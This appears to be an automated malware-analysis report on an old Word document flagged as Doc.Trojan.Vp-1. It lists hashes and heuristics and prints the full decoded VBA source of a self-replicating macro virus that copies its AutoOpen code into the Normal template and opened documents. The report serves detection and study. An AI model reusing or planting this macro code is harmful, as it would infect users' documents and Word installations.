Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8b7c578cf6a5767…

MALICIOUS

Office (OLE)

35.0 KB Created: 2000-04-25 05:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3769a121f4379deedff4585aa3ab845d SHA-1: a0e47d5316c1aae39cc491487d69a47620fde2bf SHA-256: a8b7c578cf6a5767379bd9a3a253da037af1b410a2bc3f7538a382c1aa74d6d0
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to the Normal.dot template, which is a common persistence technique. The ClamAV detection further confirms its malicious nature, although no specific family could be identified.

Heuristics 4

  • ClamAV: Doc.Trojan.Vp-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Vp-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1432 bytes
SHA-256: ba13882191e706a93c0b92e9209734915aeaf5d30a15e10faa5146caf0abf3d3
Detection
ClamAV: Doc.Trojan.Vp-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
                ' ÒåñhnoVèðós(tm) fîr MiñrîSîft Wîrd 6.Î-7.Î '
                ' (ñ) 1997-98 ÒåchnîSîft frîm Òîmsk          '
    CheckInWindow
    CheckNormal

End Sub

Private Function vpInNormal()
Dim i

    vpInNormal = 0

    For i = 1 To WordBasic.CountMacros(0)
        If WordBasic.[MacroName$](i, 0) = "AutoOpen" Then vpInNormal = -1
    Next

End Function

Private Sub CheckNormal()

    If Not vpInNormal Then WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", "Normal:AutoOpen"

End Sub

Private Function vpInWindow()
Dim i

    vpInWindow = 0

    For i = 1 To WordBasic.CountMacros(1)
        If WordBasic.[MacroName$](i, 1) = "AutoOpen" Then vpInWindow = -1
    Next

End Function

Private Sub CheckInWindow()
If Not vpInWindow Then WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1: WordBasic.MacroCopy WordBasic.[MacroFileName$]("AutoOpen") + ":AutoOpen", WordBasic.[FileNameFromWindow$]() + ":AutoOpen": WordBasic.FileSaveAs Name:=WordBasic.[FileNameFromWindow$](), Format:=1

End Sub